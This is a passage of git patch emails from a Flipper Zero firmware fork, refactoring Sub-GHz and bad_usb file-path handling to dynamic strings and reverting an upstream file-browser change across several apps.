UNUSED(context); string_t file_name; string_init(file_name); - string_set(file_name, "/any/subghz/test.sub"); + string_set_str(file_name, "/any/subghz/test.sub"); Storage* storage = furi_record_open("storage"); FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); diff --git a/applications/subghz/subghz_history.c b/applications/subghz/subghz_history.c index cb30726ba..a8f86eecb 100644 --- a/applications/subghz/subghz_history.c +++ b/applications/subghz/subghz_history.c @@ -169,14 +169,14 @@ bool subghz_history_add_to_history( break; } if(!strcmp(string_get_cstr(instance->tmp_string), "KeeLoq")) { - string_set(instance->tmp_string, "KL "); + string_set_str(instance->tmp_string, "KL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; } string_cat(instance->tmp_string, text); } else if(!strcmp(string_get_cstr(instance->tmp_string), "Star Line")) { - string_set(instance->tmp_string, "SL "); + string_set_str(instance->tmp_string, "SL "); if(!flipper_format_read_string(item->flipper_string, "Manufacture", text)) { FURI_LOG_E(TAG, "Missing Protocol"); break; diff --git a/applications/subghz/subghz_i.c b/applications/subghz/subghz_i.c index 690e85f74..5439fd2a9 100644 --- a/applications/subghz/subghz_i.c +++ b/applications/subghz/subghz_i.c @@ -1,5 +1,8 @@ #include "subghz_i.h" +#include "assets_icons.h" +#include "m-string.h" +#include "subghz/types.h" #include #include #include @@ -45,11 +48,11 @@ void subghz_get_frequency_modulation(SubGhz* subghz, string_t frequency, string_ if(modulation != NULL) { if(subghz->txrx->preset == FuriHalSubGhzPresetOok650Async || subghz->txrx->preset == FuriHalSubGhzPresetOok270Async) { - string_set(modulation, "AM"); + string_set_str(modulation, "AM"); } else if( subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev238Async || subghz->txrx->preset == FuriHalSubGhzPreset2FSKDev476Async) { - string_set(modulation, "FM"); + string_set_str(modulation, "FM"); } else { furi_crash("SugGhz: Modulation is incorrect."); } @@ -191,8 +194,9 @@ void subghz_tx_stop(SubGhz* subghz) { //if protocol dynamic then we save the last upload if((subghz->txrx->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) && - (strcmp(subghz->file_path, ""))) { - subghz_save_protocol_to_file(subghz, subghz->txrx->fff_data, subghz->file_path); + (subghz_path_is_file(subghz->file_path))) { + subghz_save_protocol_to_file( + subghz, subghz->txrx->fff_data, string_get_cstr(subghz->file_path)); } subghz_idle(subghz); notification_message(subghz->notifications, &sequence_reset_red); @@ -334,10 +338,10 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { bool res = false; - if(strcmp(subghz->file_path, "")) { + if(subghz_path_is_file(subghz->file_path)) { //get the name of the next free file - path_extract_filename_no_ext(subghz->file_path, file_name); - path_extract_dirname(subghz->file_path, file_path); + path_extract_filename(subghz->file_path, file_name, true); + path_extract_dirname(string_get_cstr(subghz->file_path), file_path); storage_get_next_filename( storage, @@ -353,7 +357,7 @@ bool subghz_get_next_name_file(SubGhz* subghz, uint8_t max_len) { string_get_cstr(file_path), string_get_cstr(file_name), SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, temp_str); res = true; } @@ -413,19 +417,17 @@ bool subghz_load_protocol_from_file(SubGhz* subghz) { string_init(file_path); // Input events and views are managed by file_select - bool res = dialog_file_select_show( + bool res = dialog_file_browser_show( subghz->dialogs, - SUBGHZ_APP_FOLDER, - SUBGHZ_APP_EXTENSION, subghz->file_path, - sizeof(subghz->file_path), - NULL); + subghz->file_path, + SUBGHZ_APP_EXTENSION, + true, + &I_sub1_10px, + true); if(res) { - string_printf( - file_path, "%s/%s%s", SUBGHZ_APP_FOLDER, subghz->file_path, SUBGHZ_APP_EXTENSION); - strncpy(subghz->file_path, string_get_cstr(file_path), SUBGHZ_MAX_LEN_NAME); - res = subghz_key_load(subghz, subghz->file_path); + res = subghz_key_load(subghz, string_get_cstr(subghz->file_path)); } string_clear(file_path); @@ -439,9 +441,9 @@ bool subghz_rename_file(SubGhz* subghz) { Storage* storage = furi_record_open("storage"); - if(strcmp(subghz->file_path_tmp, subghz->file_path)) { - FS_Error fs_result = - storage_common_rename(storage, subghz->file_path_tmp, subghz->file_path); + if(string_cmp(subghz->file_path_tmp, subghz->file_path)) { + FS_Error fs_result = storage_common_rename( + storage, string_get_cstr(subghz->file_path_tmp), string_get_cstr(subghz->file_path)); if(fs_result != FSE_OK) { dialog_message_show_storage_error(subghz->dialogs, "Cannot rename\n file/directory"); @@ -457,7 +459,7 @@ bool subghz_delete_file(SubGhz* subghz) { furi_assert(subghz); Storage* storage = furi_record_open("storage"); - bool result = storage_simply_remove(storage, subghz->file_path_tmp); + bool result = storage_simply_remove(storage, string_get_cstr(subghz->file_path_tmp)); furi_record_close("storage"); subghz_file_name_clear(subghz); @@ -467,8 +469,12 @@ bool subghz_delete_file(SubGhz* subghz) { void subghz_file_name_clear(SubGhz* subghz) { furi_assert(subghz); - memset(subghz->file_path, 0, sizeof(subghz->file_path)); - memset(subghz->file_path_tmp, 0, sizeof(subghz->file_path_tmp)); + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); + string_reset(subghz->file_path_tmp); +} + +bool subghz_path_is_file(string_t path) { + return string_end_with_str_p(path, SUBGHZ_APP_EXTENSION); } uint32_t subghz_random_serial(void) { diff --git a/applications/subghz/views/receiver.c b/applications/subghz/views/receiver.c index 7b19cbcf2..866d82726 100644 --- a/applications/subghz/views/receiver.c +++ b/applications/subghz/views/receiver.c @@ -111,9 +111,9 @@ void subghz_view_receiver_add_data_statusbar( furi_assert(subghz_receiver); with_view_model( subghz_receiver->view, (SubGhzViewReceiverModel * model) { - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); - string_set(model->history_stat_str, history_stat_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); + string_set_str(model->history_stat_str, history_stat_str); return true; }); } diff --git a/applications/subghz/views/subghz_read_raw.c b/applications/subghz/views/subghz_read_raw.c index ff3ba45a3..a4807d775 100644 --- a/applications/subghz/views/subghz_read_raw.c +++ b/applications/subghz/views/subghz_read_raw.c @@ -46,8 +46,8 @@ void subghz_read_raw_add_data_statusbar( furi_assert(instance); with_view_model( instance->view, (SubGhzReadRAWModel * model) { - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); return true; }); } @@ -372,7 +372,7 @@ bool subghz_read_raw_input(InputEvent* event, void* context) { model->satus = SubGhzReadRAWStatusStart; model->rssi_history_end = false; model->ind_write = 0; - string_set(model->sample_write, "0 spl."); + string_set_str(model->sample_write, "0 spl."); string_reset(model->file_name); instance->callback(SubGhzCustomEventViewReadRAWErase, instance->context); } @@ -424,7 +424,7 @@ void subghz_read_raw_set_status( model->rssi_history_end = false; model->ind_write = 0; string_reset(model->file_name); - string_set(model->sample_write, "0 spl."); + string_set_str(model->sample_write, "0 spl."); return true; }); break; @@ -441,8 +441,8 @@ void subghz_read_raw_set_status( model->satus = SubGhzReadRAWStatusLoadKeyIDLE; model->rssi_history_end = false; model->ind_write = 0; - string_set(model->file_name, file_name); - string_set(model->sample_write, "RAW"); + string_set_str(model->file_name, file_name); + string_set_str(model->sample_write, "RAW"); return true; }); break; @@ -451,8 +451,8 @@ void subghz_read_raw_set_status( instance->view, (SubGhzReadRAWModel * model) { model->satus = SubGhzReadRAWStatusLoadKeyIDLE; if(!model->ind_write) { - string_set(model->file_name, file_name); - string_set(model->sample_write, "RAW"); + string_set_str(model->file_name, file_name); + string_set_str(model->sample_write, "RAW"); } else { string_reset(model->file_name); } diff --git a/applications/subghz/views/transmitter.c b/applications/subghz/views/transmitter.c index 3113e31f6..3cbcf098a 100644 --- a/applications/subghz/views/transmitter.c +++ b/applications/subghz/views/transmitter.c @@ -36,9 +36,9 @@ void subghz_view_transmitter_add_data_to_show( furi_assert(subghz_transmitter); with_view_model( subghz_transmitter->view, (SubGhzViewTransmitterModel * model) { - string_set(model->key_str, key_str); - string_set(model->frequency_str, frequency_str); - string_set(model->preset_str, preset_str); + string_set_str(model->key_str, key_str); + string_set_str(model->frequency_str, frequency_str); + string_set_str(model->preset_str, preset_str); model->show_button = show_button; return true; }); diff --git a/assets/icons/Archive/music_10px.png b/assets/icons/Archive/music_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..d41eb0db8c822c60be6c097393b3682680b81a6c GIT binary patch literal 142 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2xGmzZ=C-xtZVhivIasA%~WHIdey2}7aaTa() z7Bet#3xhBt!>l_x9Asc&(0a_=e)W&n8K5!-Pgg&ebxsLQ0Ao%f>i_@% literal 0 HcmV?d00001 diff --git a/firmware/targets/f7/target.mk b/firmware/targets/f7/target.mk index 4b019cae8..8e58a71c9 100644 --- a/firmware/targets/f7/target.mk +++ b/firmware/targets/f7/target.mk @@ -19,8 +19,9 @@ endif MCU_FLAGS = -mcpu=cortex-m4 -mthumb -mfpu=fpv4-sp-d16 -mfloat-abi=hard # Warnings configuration -CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -Wall -fdata-sections -ffunction-sections +CFLAGS += -Wall -Wextra -Wredundant-decls -Wdouble-promotion +CFLAGS += $(MCU_FLAGS) -DSTM32WB55xx -fdata-sections -ffunction-sections -fsingle-precision-constant LDFLAGS += $(MCU_FLAGS) -specs=nosys.specs -specs=nano.specs CPPFLAGS += -fno-rtti -fno-use-cxa-atexit -fno-exceptions diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/one_wire/ibutton/ibutton_key.c index c6d4466f0..2c0f7fa26 100644 --- a/lib/one_wire/ibutton/ibutton_key.c +++ b/lib/one_wire/ibutton/ibutton_key.c @@ -4,7 +4,6 @@ struct iButtonKey { uint8_t data[IBUTTON_KEY_DATA_SIZE]; - char name[IBUTTON_KEY_NAME_SIZE]; iButtonKeyType type; }; @@ -42,14 +41,6 @@ uint8_t ibutton_key_get_data_size(iButtonKey* key) { return ibutton_key_get_size_by_type(key->type); } -void ibutton_key_set_name(iButtonKey* key, const char* name) { - strlcpy(key->name, name, IBUTTON_KEY_NAME_SIZE); -} - -const char* ibutton_key_get_name_p(iButtonKey* key) { - return key->name; -} - void ibutton_key_set_type(iButtonKey* key, iButtonKeyType key_type) { key->type = key_type; } diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/one_wire/ibutton/ibutton_key.h index 8d6732bcb..f66537d7e 100644 --- a/lib/one_wire/ibutton/ibutton_key.h +++ b/lib/one_wire/ibutton/ibutton_key.h @@ -68,20 +68,6 @@ const uint8_t* ibutton_key_get_data_p(iButtonKey* key); */ uint8_t ibutton_key_get_data_size(iButtonKey* key); -/** - * Set key name - * @param key - * @param name - */ -void ibutton_key_set_name(iButtonKey* key, const char* name); - -/** - * Get pointer to key name - * @param key - * @return const char* - */ -const char* ibutton_key_get_name_p(iButtonKey* key); - /** * Set key type * @param key diff --git a/lib/subghz/subghz_keystore.c b/lib/subghz/subghz_keystore.c index d64e1fda2..d3903bc51 100644 --- a/lib/subghz/subghz_keystore.c +++ b/lib/subghz/subghz_keystore.c @@ -334,7 +334,6 @@ bool subghz_keystore_save(SubGhzKeystore* instance, const char* file_name, uint8 SubGhzKeyArray_t* subghz_keystore_get_data(SubGhzKeystore* instance) { furi_assert(instance); return &instance->data; - FURI_LOG_I(TAG, "array: \n", &instance->data); } bool subghz_keystore_raw_encrypted_save( diff --git a/lib/toolbox/path.c b/lib/toolbox/path.c index 4fd042e41..a99e57d1f 100644 --- a/lib/toolbox/path.c +++ b/lib/toolbox/path.c @@ -19,6 +19,20 @@ void path_extract_filename_no_ext(const char* path, string_t filename) { string_mid(filename, start_position, end_position - start_position); } +void path_extract_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + static inline void path_cleanup(string_t path) { string_strim(path); while(string_end_with_str_p(path, "/")) { diff --git a/lib/toolbox/path.h b/lib/toolbox/path.h index 0de63bb2b..76e501cc1 100644 --- a/lib/toolbox/path.h +++ b/lib/toolbox/path.h @@ -14,6 +14,15 @@ extern "C" { */ void path_extract_filename_no_ext(const char* path, string_t filename); +/** + * @brief Extract filename string from path. + * + * @param path path string + * @param filename output filename string. Must be initialized before. + * @param trim_ext true - get filename without extension + */ +void path_extract_filename(string_t path, string_t filename, bool trim_ext); + /** * @brief Extract last path component * From 310e140024be7acbbd5d195fb2575739e0d40c5d Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:13:35 +0300 Subject: [PATCH 236/461] fixes --- .../subghz/scenes/subghz_scene_read_raw.c | 18 +++++++----------- .../subghz/scenes/subghz_scene_set_type.c | 8 ++++---- applications/subghz/subghz.c | 18 ++++++++++++------ applications/subghz/subghz_i.h | 12 ++++++------ 4 files changed, 29 insertions(+), 27 deletions(-) diff --git a/applications/subghz/scenes/subghz_scene_read_raw.c b/applications/subghz/scenes/subghz_scene_read_raw.c index 5323bfe58..93991cd8d 100644 --- a/applications/subghz/scenes/subghz_scene_read_raw.c +++ b/applications/subghz/scenes/subghz_scene_read_raw.c @@ -25,7 +25,7 @@ bool subghz_scene_read_raw_update_filename(SubGhz* subghz) { break; } - strncpy(subghz->file_path, string_get_cstr(temp_str), SUBGHZ_MAX_LEN_NAME); + string_set(subghz->file_path, temp_str); ret = true; } while(false); @@ -75,13 +75,13 @@ void subghz_scene_read_raw_on_enter(void* context) { subghz_read_raw_set_status(subghz->subghz_read_raw, SubGhzReadRAWStatusIDLE, ""); break; case SubGhzRxKeyStateRAWLoad: - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusLoadKeyTX, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; break; case SubGhzRxKeyStateRAWSave: - path_extract_filename_no_ext(subghz->file_path, file_name); + path_extract_filename(subghz->file_path, file_name, true); subghz_read_raw_set_status( subghz->subghz_read_raw, SubGhzReadRAWStatusSaveKey, string_get_cstr(file_name)); subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; @@ -170,10 +170,6 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { case SubGhzCustomEventViewReadRAWErase: subghz->txrx->rx_key_state = SubGhzRxKeyStateIDLE; - if(subghz_scene_read_raw_update_filename(subghz)) { - strncpy(subghz->file_path_tmp, subghz->file_path, SUBGHZ_MAX_LEN_NAME); - subghz_delete_file(subghz); - } notification_message(subghz->notifications, &sequence_reset_rgb); return true; break; @@ -253,7 +249,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { ); string_printf( - temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, strings[0], SUBGHZ_APP_EXTENSION); + temp_str, "%s/%s%s", SUBGHZ_RAW_FOLDER, RAW_FILE_NAME, SUBGHZ_APP_EXTENSION); subghz_protocol_raw_gen_fff_data(subghz->txrx->fff_data, string_get_cstr(temp_str)); string_clear(temp_str); @@ -284,7 +280,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { if(subghz_protocol_raw_save_to_file_init( (SubGhzProtocolDecoderRAW*)subghz->txrx->decoder_result, - strings[0], + RAW_FILE_NAME,, subghz->txrx->frequency, subghz->txrx->preset)) { DOLPHIN_DEED(DolphinDeedSubGhzRawRec); @@ -296,7 +292,7 @@ bool subghz_scene_read_raw_on_event(void* context, SceneManagerEvent event) { subghz->state_notifications = SubGhzNotificationStateRx; subghz->txrx->rx_key_state = SubGhzRxKeyStateAddKey; } else { - string_set(subghz->error_str, "Function requires\nan SD card."); + string_set_str(subghz->error_str, "Function requires\nan SD card."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } } @@ -350,4 +346,4 @@ void subghz_scene_read_raw_on_exit(void* context) { //filter restoration subghz_receiver_set_filter(subghz->txrx->receiver, SubGhzProtocolFlag_Decodable); -} +} \ No newline at end of file diff --git a/applications/subghz/scenes/subghz_scene_set_type.c b/applications/subghz/scenes/subghz_scene_set_type.c index 206863f4d..a2034e976 100644 --- a/applications/subghz/scenes/subghz_scene_set_type.c +++ b/applications/subghz/scenes/subghz_scene_set_type.c @@ -49,7 +49,7 @@ bool subghz_scene_set_type_submenu_gen_data_protocol( subghz_receiver_search_decoder_base_by_name(subghz->txrx->receiver, protocol_name); if(subghz->txrx->decoder_result == NULL) { - string_set(subghz->error_str, "Protocol not found"); + string_set_str(subghz->error_str, "Protocol not found"); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowErrorSub); return false; } @@ -340,7 +340,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -364,7 +364,7 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { } subghz_transmitter_free(subghz->txrx->transmitter); if(!generated_protocol) { - string_set( + string_set_str( subghz->error_str, "Function requires\nan SD card with\nfresh databases."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); } @@ -472,4 +472,4 @@ bool subghz_scene_set_type_on_event(void* context, SceneManagerEvent event) { void subghz_scene_set_type_on_exit(void* context) { SubGhz* subghz = context; submenu_reset(subghz->submenu); -} +} \ No newline at end of file diff --git a/applications/subghz/subghz.c b/applications/subghz/subghz.c index 99c9db452..2dd573eee 100644 --- a/applications/subghz/subghz.c +++ b/applications/subghz/subghz.c @@ -1,5 +1,7 @@ /* Abandon hope, all ye who enter here. */ +#include "m-string.h" +#include "subghz/types.h" #include "subghz_i.h" #include @@ -24,6 +26,9 @@ void subghz_tick_event_callback(void* context) { SubGhz* subghz_alloc() { SubGhz* subghz = malloc(sizeof(SubGhz)); + string_init(subghz->file_path); + string_init(subghz->file_path_tmp); + // GUI subghz->gui = furi_record_open("gui"); @@ -251,9 +256,9 @@ void subghz_free(SubGhz* subghz) { furi_record_close("notification"); subghz->notifications = NULL; - // About birds - furi_assert(subghz->file_path[SUBGHZ_MAX_LEN_NAME] == 0); - furi_assert(subghz->file_path_tmp[SUBGHZ_MAX_LEN_NAME] == 0); + // Path strings + string_clear(subghz->file_path); + string_clear(subghz->file_path_tmp); // The rest free(subghz); @@ -270,7 +275,7 @@ int32_t subghz_app(void* p) { // Check argument and run corresponding scene if(p) { if(subghz_key_load(subghz, p)) { - strncpy(subghz->file_path, p, SUBGHZ_MAX_LEN_NAME); + string_set_str(subghz->file_path, p); if((!strcmp(subghz->txrx->decoder_result->protocol->name, "RAW"))) { //Load Raw TX @@ -286,12 +291,13 @@ int32_t subghz_app(void* p) { view_dispatcher_stop(subghz->view_dispatcher); } } else { + string_set_str(subghz->file_path, SUBGHZ_APP_FOLDER); if(load_database) { scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart); } else { scene_manager_set_scene_state( subghz->scene_manager, SubGhzSceneShowError, SubGhzCustomEventManagerSet); - string_set( + string_set_str( subghz->error_str, "No SD card or\ndatabase found.\nSome app function\nmay be reduced."); scene_manager_next_scene(subghz->scene_manager, SubGhzSceneShowError); @@ -307,4 +313,4 @@ int32_t subghz_app(void* p) { subghz_free(subghz); return 0; -} +} \ No newline at end of file diff --git a/applications/subghz/subghz_i.h b/applications/subghz/subghz_i.h index b1a932836..8a2f0b8bc 100644 --- a/applications/subghz/subghz_i.h +++ b/applications/subghz/subghz_i.h @@ -36,7 +36,7 @@ #include #include -#define SUBGHZ_MAX_LEN_NAME 250 +#define SUBGHZ_MAX_LEN_NAME 64 /** SubGhzNotification state */ typedef enum { @@ -128,10 +128,9 @@ struct SubGhz { ByteInput* byte_input; Widget* widget; DialogsApp* dialogs; - char file_path[SUBGHZ_MAX_LEN_NAME + 1]; - char file_path_tmp[SUBGHZ_MAX_LEN_NAME + 1]; - //ToDo you can get rid of it, you need to refactor text input to return the path to the folder - char file_dir[SUBGHZ_MAX_LEN_NAME + 1]; + string_t file_path; + string_t file_path_tmp; + char file_name_tmp[SUBGHZ_MAX_LEN_NAME]; SubGhzNotificationState state_notifications; SubGhzViewReceiver* subghz_receiver; @@ -183,5 +182,6 @@ bool subghz_load_protocol_from_file(SubGhz* subghz); bool subghz_rename_file(SubGhz* subghz); bool subghz_delete_file(SubGhz* subghz); void subghz_file_name_clear(SubGhz* subghz); +bool subghz_path_is_file(string_t path); uint32_t subghz_random_serial(void); -void subghz_hopper_update(SubGhz* subghz); +void subghz_hopper_update(SubGhz* subghz); \ No newline at end of file From b23b3c9e8ded9b6d276377c7f3293055ab525fa0 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 22:18:35 +0300 Subject: [PATCH 237/461] Revert "fetch big commit from upstream" This reverts commit 6634999113feceb3736319911b03cb8b38d4ed93. --- applications/bad_usb/bad_usb_app.c | 37 +++-- applications/bad_usb/bad_usb_app_i.h | 3 +- .../scenes/bad_usb_scene_file_select.c | 14 +- .../bad_usb/scenes/bad_usb_scene_work.c | 9 +- applications/bad_usb/views/bad_usb_view.c | 8 +- applications/bad_usb/views/bad_usb_view.h | 2 +- .../file_browser_test/file_browser_app.c | 2 +- .../scenes/file_browser_scene_browser.c | 4 +- applications/desktop/desktop.c | 7 +- applications/dialogs/dialogs.c | 7 +- applications/dialogs/dialogs.h | 25 ++-- applications/dialogs/dialogs_api.c | 29 ++-- applications/dialogs/dialogs_message.h | 16 +-- .../dialogs/dialogs_module_file_browser.c | 59 -------- .../dialogs/dialogs_module_file_browser.h | 12 -- applications/gui/modules/file_browser.c | 16 +-- applications/gui/modules/file_browser.h | 6 +- .../gui/modules/file_browser_worker.c | 20 ++- .../gui/modules/file_browser_worker.h | 4 +- applications/gui/modules/validators.c | 5 +- applications/ibutton/ibutton.c | 91 +++++++----- applications/ibutton/ibutton_i.h | 3 +- .../ibutton/scenes/ibutton_scene_add_type.c | 3 +- .../scenes/ibutton_scene_delete_confirm.c | 9 +- .../ibutton/scenes/ibutton_scene_emulate.c | 14 +- .../ibutton/scenes/ibutton_scene_info.c | 9 +- .../ibutton/scenes/ibutton_scene_read.c | 2 +- .../ibutton/scenes/ibutton_scene_save_name.c | 24 +--- .../ibutton/scenes/ibutton_scene_start.c | 1 - .../ibutton/scenes/ibutton_scene_write.c | 15 +- applications/infrared/infrared_app.cpp | 17 ++- applications/infrared/infrared_app.h | 2 - .../infrared/infrared_app_remote_manager.cpp | 130 ++++++------------ .../infrared/infrared_app_remote_manager.h | 27 ++-- .../scene/infrared_app_scene_edit_rename.cpp | 13 +- .../scene/infrared_app_scene_remote_list.cpp | 19 +-- .../scene/infrared_app_scene_start.cpp | 2 - applications/lfrfid/lfrfid_app.cpp | 64 +++++---- applications/lfrfid/lfrfid_app.h | 7 +- .../scene/lfrfid_app_scene_save_name.cpp | 12 +- applications/music_player/music_player.c | 20 ++- applications/nfc/nfc_device.c | 116 +++++----------- applications/nfc/nfc_device.h | 7 +- applications/nfc/scenes/nfc_scene_delete.c | 2 +- applications/nfc/scenes/nfc_scene_save_name.c | 19 +-- .../nfc/scenes/nfc_scene_save_success.c | 3 + .../nfc/scenes/nfc_scene_saved_menu.c | 2 +- applications/nfc/scenes/nfc_scene_set_type.c | 2 - .../notification/notification_settings_app.c | 5 +- applications/snake_game/snake_game.c | 7 + .../subghz/scenes/subghz_scene_delete.c | 2 +- .../subghz/scenes/subghz_scene_delete_raw.c | 4 +- .../subghz/scenes/subghz_scene_more_raw.c | 2 +- .../subghz/scenes/subghz_scene_save_name.c | 52 ++++--- .../subghz/scenes/subghz_scene_transmitter.c | 2 +- applications/subghz/subghz_cli.c | 2 +- applications/subghz/subghz_history.c | 4 +- applications/subghz/subghz_i.c | 52 ++++--- applications/subghz/views/receiver.c | 6 +- applications/subghz/views/subghz_read_raw.c | 16 +-- applications/subghz/views/transmitter.c | 6 +- assets/icons/Archive/music_10px.png | Bin 142 -> 0 bytes firmware/targets/f7/target.mk | 3 +- lib/one_wire/ibutton/ibutton_key.c | 9 ++ lib/one_wire/ibutton/ibutton_key.h | 14 ++ lib/subghz/subghz_keystore.c | 1 + lib/toolbox/path.c | 14 -- lib/toolbox/path.h | 9 -- 68 files changed, 475 insertions(+), 655 deletions(-) delete mode 100644 applications/dialogs/dialogs_module_file_browser.c delete mode 100644 applications/dialogs/dialogs_module_file_browser.h delete mode 100644 assets/icons/Archive/music_10px.png diff --git a/applications/bad_usb/bad_usb_app.c b/applications/bad_usb/bad_usb_app.c index 65ccc575b..eb647e004 100644 --- a/applications/bad_usb/bad_usb_app.c +++ b/applications/bad_usb/bad_usb_app.c @@ -1,5 +1,4 @@ #include "bad_usb_app_i.h" -#include "m-string.h" #include #include #include @@ -23,13 +22,33 @@ static void bad_usb_app_tick_event_callback(void* context) { scene_manager_handle_tick_event(app->scene_manager); } +static bool bad_usb_check_assets() { + Storage* fs_api = furi_record_open("storage"); + + File* dir = storage_file_alloc(fs_api); + bool ret = false; + + if(storage_dir_open(dir, BAD_USB_APP_PATH_FOLDER)) { + ret = true; + } + + storage_dir_close(dir); + storage_file_free(dir); + + furi_record_close("storage"); + + return ret; +} + BadUsbApp* bad_usb_app_alloc(char* arg) { BadUsbApp* app = malloc(sizeof(BadUsbApp)); - string_init(app->file_path); - if(arg != NULL) { - string_set_str(app->file_path, arg); + string_t filename; + string_init(filename); + path_extract_filename_no_ext(arg, filename); + strncpy(app->file_name, string_get_cstr(filename), BAD_USB_FILE_NAME_LEN); + string_clear(filename); } app->gui = furi_record_open("gui"); @@ -64,11 +83,13 @@ BadUsbApp* bad_usb_app_alloc(char* arg) { app->error = BadUsbAppErrorCloseRpc; scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } else { - if(!string_empty_p(app->file_path)) { + if(*app->file_name != '\0') { scene_manager_next_scene(app->scene_manager, BadUsbSceneWork); - } else { - string_set_str(app->file_path, BAD_USB_APP_PATH_FOLDER); + } else if(bad_usb_check_assets()) { scene_manager_next_scene(app->scene_manager, BadUsbSceneFileSelect); + } else { + app->error = BadUsbAppErrorNoFiles; + scene_manager_next_scene(app->scene_manager, BadUsbSceneError); } } @@ -96,8 +117,6 @@ void bad_usb_app_free(BadUsbApp* app) { furi_record_close("notification"); furi_record_close("dialogs"); - string_clear(app->file_path); - free(app); } diff --git a/applications/bad_usb/bad_usb_app_i.h b/applications/bad_usb/bad_usb_app_i.h index c82419e0f..67f5816b8 100644 --- a/applications/bad_usb/bad_usb_app_i.h +++ b/applications/bad_usb/bad_usb_app_i.h @@ -16,6 +16,7 @@ #define BAD_USB_APP_PATH_FOLDER "/any/badusb" #define BAD_USB_APP_EXTENSION ".txt" +#define BAD_USB_FILE_NAME_LEN 40 typedef enum { BadUsbAppErrorNoFiles, @@ -31,7 +32,7 @@ struct BadUsbApp { Widget* widget; BadUsbAppError error; - string_t file_path; + char file_name[BAD_USB_FILE_NAME_LEN + 1]; BadUsb* bad_usb_view; BadUsbScript* bad_usb_script; }; diff --git a/applications/bad_usb/scenes/bad_usb_scene_file_select.c b/applications/bad_usb/scenes/bad_usb_scene_file_select.c index 1e6ba895a..82f03bab0 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_file_select.c +++ b/applications/bad_usb/scenes/bad_usb_scene_file_select.c @@ -5,16 +5,14 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) { furi_assert(bad_usb); - // Input events and views are managed by file_browser - bool res = dialog_file_browser_show( + // Input events and views are managed by file_select + bool res = dialog_file_select_show( bad_usb->dialogs, - bad_usb->file_path, - bad_usb->file_path, + BAD_USB_APP_PATH_FOLDER, BAD_USB_APP_EXTENSION, - true, - &I_badusb_10px, - true); - + bad_usb->file_name, + sizeof(bad_usb->file_name), + NULL); return res; } diff --git a/applications/bad_usb/scenes/bad_usb_scene_work.c b/applications/bad_usb/scenes/bad_usb_scene_work.c index 516cbde3a..a3a46803a 100644 --- a/applications/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/bad_usb/scenes/bad_usb_scene_work.c @@ -2,8 +2,6 @@ #include "../bad_usb_app_i.h" #include "../views/bad_usb_view.h" #include "furi_hal.h" -#include "m-string.h" -#include "toolbox/path.h" void bad_usb_scene_work_ok_callback(InputType type, void* context) { furi_assert(context); @@ -30,9 +28,10 @@ void bad_usb_scene_work_on_enter(void* context) { string_t file_name; string_init(file_name); - path_extract_filename(app->file_path, file_name, true); - bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name)); - app->bad_usb_script = bad_usb_script_open(app->file_path); + bad_usb_set_file_name(app->bad_usb_view, app->file_name); + string_printf( + file_name, "%s/%s%s", BAD_USB_APP_PATH_FOLDER, app->file_name, BAD_USB_APP_EXTENSION); + app->bad_usb_script = bad_usb_script_open(file_name); string_clear(file_name); diff --git a/applications/bad_usb/views/bad_usb_view.c b/applications/bad_usb/views/bad_usb_view.c index 430885df3..5b6fe6e89 100644 --- a/applications/bad_usb/views/bad_usb_view.c +++ b/applications/bad_usb/views/bad_usb_view.c @@ -2,8 +2,6 @@ #include "../bad_usb_script.h" #include -#define MAX_NAME_LEN 64 - struct BadUsb { View* view; BadUsbOkCallback callback; @@ -11,7 +9,7 @@ struct BadUsb { }; typedef struct { - char file_name[MAX_NAME_LEN]; + char* file_name; BadUsbState state; uint8_t anim_frame; } BadUsbModel; @@ -151,11 